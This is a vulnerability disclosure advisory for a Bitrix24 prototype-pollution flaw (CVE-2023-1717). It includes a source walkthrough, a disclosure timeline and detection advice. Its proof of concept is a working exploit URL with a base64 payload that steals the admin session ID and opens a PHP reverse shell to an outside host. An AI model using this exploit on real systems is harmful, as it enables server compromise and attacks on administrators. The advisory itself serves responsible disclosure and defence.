Summary:

Product Bitrix24
Vendor Bitrix24
Severity Critical
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1717
CVE Description Prototype pollution in bitrix/templates/bitrix24/components/bitrix/menu/left_vertical/script.js in Bitrix24 22.0.300 allows remote attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via polluting __proto__[tag] and __proto__[text].
CWE Classification(s) CWE-1321 Prototype Pollution; CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
CAPEC Classification(s) CAPEC-588 DOM-Based XSS

CVSS3.1 Scoring System:

Base Score: 9.6 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details:

This report presents information on a client-side prototype pollution vulnerability present in the core.js JavaScript file that is included in almost every Bitrix24 page. On certain pages, prototype pollution gadgets are available, allowing an attacker to execute arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

The current page’s URL is parsed with the main_core.Uri constructor on line 2144 in bitrix/templates/bitrix24/components/bitrix/menu/left_vertical/script.js, which is included on every page with a left vertical menu. As this menu is a core component, almost every page on Bitrix24 is affected.

babelHelpers.classPrivateFieldSet(this, _actualLink, new main_core.Uri(window.location.href));

The Uri constructor then calls the parseUrl function:

// bitrix/js/main/core/core.js lines 10168 to 10171

function Uri(url = '') {
    babelHelpers.classCallCheck(this, Uri);
    map.set(this, parseUrl(url));
}

The parseUrl JavaScript function is used to parse URLs into their components.

// bitrix/js/main/core/core.js lines 10082 to 10105

const urlExp = /^((\w+):)?(\/\/((\w+)?(:(\w+))?@)?([^\/\?:]+)(:(\d+))?)?(\/?([^\/\?#][^\?#]*)?)?(\?([^#]+))?(#(\w*))?/;
function parseUrl(url) {
  const result = url.match(urlExp);

  if (Type.isArray(result)) {
    const queryParams = parseQuery(result[14]);
    return {
      useShort: /^\/\//.test(url),
      href: result[0] || '',
      schema: result[2] || '',
      host: result[8] || '',
      port: result[10] || '',
      path: result[11] || '',
      query: result[14] || '',
      queryParams,
      hash: result[16] || '',
      username: result[5] || '',
      password: result[7] || '',
      origin: result[8] || ''
    };
  }

  return {};
}

The query string is further parsed by the parseQuery function:

// bitrix/js/main/core/core.js lines 10062 to 10080

function parseQuery(input) {
  if (!Type.isString(input)) {
    return {};
  }

  const url = input.trim().replace(/^[?#&]/, '');

  if (!url) {
    return {};
  }

  return url.split('&').reduce((acc, param) => {
    const [key, value] = param.replace(/\+/g, ' ').split('=');
    const keyFormat = getKeyFormat(key);
    const formatter = getParser(keyFormat);
    formatter(key, value, acc);
    return acc;
  }, {});
}

For certain query parameter keys, additional parsing is performed.

The format of these keys is determined by the getKeyFormat function.

// bitrix/js/main/core/core.js lines 10050 to 10060

function getKeyFormat(key) {
  if (/^\w+\[([\w]+)\]$/.test(key)) {
    return 'index';
  }

  if (/^\w+\[\]$/.test(key)) {
    return 'bracket';
  }

  return 'default';
}

If the key is of the form aaa[bbb], the format returned will be index. We will focus on this type of key for the rest of the report.

Parsing is then performed by the formatter returned by getParser:

// bitrix/js/main/core/core.js lines 10005 to 10048

function getParser(format) {
  switch (format) {
    case 'index':
      return (sourceKey, value, accumulator) => {
        const result = /\[(\w*)\]$/.exec(sourceKey); // [1]
        const key = sourceKey.replace(/\[\w*\]$/, ''); // [2]

        if (Type.isNil(result)) {
          accumulator[key] = value;
          return;
        }

        if (Type.isUndefined(accumulator[key])) {
          accumulator[key] = {};
        }

        accumulator[key][result[1]] = value; // [3]
      };

    case 'bracket':
      // parse bracket style keys

    default:
      // parse default style keys
  }
}

The getParser returns a function that, when passed a sourceKey and the value corresponding to that key, parses the key and adds it to the JavaScript object accumulator.

As the attacker has control over the sourceKey and value parameters via the URL’s query string, they have control over the result and key variables as they are derived from sourceKey via the regex in [1] and [2].

An attacker could pollute the global JavaScript prototype by setting key to __proto__. For example, let sourceKey be __proto__[bbb] and value be ccc. In [1], result will be ['[bbb]', 'bbb'], and in [2], key will be __proto__.

Therefore, in [3], accumulator['__proto__']['bbb'] will be set to ccc. As the __proto__ property of a JavaScript object refers to the Object.prototype shared by all JavaScript objects, the property bbb with the value ccc will now be present in all JavaScript objects.

On certain pages, the presence of a prototype pollution gadget in the BX.Main.Filter component allows an attacker to execute arbitrary JavaScript code on the victim’s browser.

Upon page load and subsequent initialization of the filter component, the setPreset function is called:

// bitrix/cache/js/s1/bitrix24/page_17c0769aa6008d4b7096462e823dd9d6/page_17c0769aa6008d4b7096462e823dd9d6_v1.js?1678346430206239
// sourcemapped to script.js, lines 2507 to 2581

function setPreset(presetData) {
  var container = this.getContainer();
  var square, squares;
  var squaresResult;

  if (BX.type.isPlainObject(presetData)) {
    squares = BX.Filter.Utils.getByClass(container, this.parent.settings.classSquare, true);
    squares.forEach(BX.remove);
    presetData = BX.clone(presetData);
    presetData.ADDITIONAL = presetData.ADDITIONAL || [];
    BX.onCustomEvent(window, 'BX.Filter.Search:beforeSquaresUpdate', [presetData, this]);

    if (presetData.ID !== 'default_filter' && presetData.ID !== 'tmp_filter') {
      square = BX.decl({ // [4]
        block: 'main-ui-search-square',
        name: presetData.TITLE,
        value: presetData.ID,
        isPreset: true
      });
      BX.prepend(square, container); // [5]

      // ...
    } else {
      // ...
    }
     
    // ...
  }
}

In [4] a HTML element is constructed via the BX.decl function, and in [5] the resultant square element is inserted into the DOM via the BX.prepend function.

BX.decl is a simple wrapper over the BX.render function, shown below:

// bitrix/js/main/core/core_decl.js lines 21 to 95

BX.render = function(item)
{
    var element = null;

    if (isBlock(item) || isTag(item))
    {
        var tag = 'tag' in item ? item.tag : 'div'; // [6]
        var className = item.block;
        var attrs = 'attrs' in item ? item.attrs : {};
        var events = 'events' in item ? item.events : {};
        var props = {};

        // Load props, atts and events

        element = BX.create(tag, {props: props, attrs: attrs, events: events, children: children, html: text});
    }
    
    // ...
    
    return element;
};

As the tag property is not present on the object passed to BX.decl and eventually BX.render, the JavaScript engine checks if the property exists on the global object prototype. An attacker could use the prototype pollution vulnerability discussed earlier to set the tag property to script. The tag property is accessed in [6] and passed to the BX.create function (shown below):

// bitrix/js/main/core/core.js lines 8931 to 8941

 function create(tag, data = {}, context = document) {
  let tagName = tag;
  let options = data;

  if (Type.isObjectLike(tag)) {
    options = tag;
    tagName = tag.tag;
  }

  return Dom.adjust(context.createElement(tagName), options);
}

The BX.create function creates a HTML element according to the tag parameter using document.createElement and passes the element to Dom.adjust:

// bitrix/js/main/core/core.js lines 8841 to 8920

 function adjust(target, data = {}) {
  if (!target.nodeType) {
    return null;
  }

  let element = target;

  if (target.nodeType === Node.DOCUMENT_NODE) {
    element = target.body;
  }

  if (Type.isPlainObject(data)) {
      
    // Initialize element attrs, event handlers, styles

    if ('text' in data && !Type.isNil(data.text)) {
      element.innerText = data.text; // [7]
      return element;
    }

    if ('html' in data && !Type.isNil(data.html)) {
      element.innerHTML = data.html;
    }
  }

  return element;
}

As the text property of the data object is not present, an attacker could control this value via prototype pollution.

Therefore, by controlling the HTML element type by polluting the tag property to script and polluting the text property with attacker controlled JavaScript, an attacker could execute arbitrary JavaScript on the user’s browser.

Proof-of-Concept:

The PoC provided below targets the https://TARGET_HOST/workgroups/ page. However, any page that includes both the left vertical menu component and the BX.Main.Filter component will be vulnerable.

Any user accessing the following URL will result in the anchor portion of the URL being base64 decoded and executed as JavaScript:

https://TARGET_HOST/workgroups/?__proto__[tag]=script&__proto__[text]=eval(atob(location.hash.substring(1)))

For example, if the anchor is

ZmV0Y2goIi9iaXRyaXgvYWRtaW4vcGhwX2NvbW1hbmRfbGluZS5waHA/bGFuZz1lbiYiK2RvY3VtZW50LmJvZHkuaW5uZXJIVE1MLm1hdGNoKC9zZXNzaWQ9W2EtZjAtOV17MzJ9LylbMF0sewogICAgbWV0aG9kOiJQT1NUIiwKICAgIGhlYWRlcnM6ewogICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgIH0sICAgIAogICAgYm9keTogbmV3IFVSTFNlYXJjaFBhcmFtcyh7CiAgICAgICAgcXVlcnk6IGAkc29jaz1mc29ja29wZW4oIjE5Mi4xNjguODYuMTI1Iiw5MDAxKTskcHJvYz1wcm9jX29wZW4oIi9iaW4vc2ggLWkiLCBhcnJheSgwPT4kc29jaywgMT0+JHNvY2ssIDI9PiRzb2NrKSwkcGlwZXMpO2AsCiAgICAgICAgYWpheDogInkiLAogICAgICAgIHJlc3VsdF9hc190ZXh0OiJOIgogICAgfSkKfSk=

which is a base64 encoded version of

fetch("/bitrix/admin/php_command_line.php?lang=en&"+document.body.innerHTML.match(/sessid=[a-f0-9]{32}/)[0],{
    method:"POST",
    headers:{
      'Content-Type': 'application/x-www-form-urlencoded'
    },    
    body: new URLSearchParams({
        query: `$sock=fsockopen("192.168.86.125",9001);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);`,
        ajax: "y",
        result_as_text:"N"
    })
})

and the user is an administrator, a reverse shell connection will be opened to 192.168.86.125 on port 9001.

Exploit Conditions:

An attacker does not require any permissions to carry out this attack. However, the victim needs to visit a specially crafted URL supplied by the attacker.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of the string __proto__ in the query parameters of requests.

Credits

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release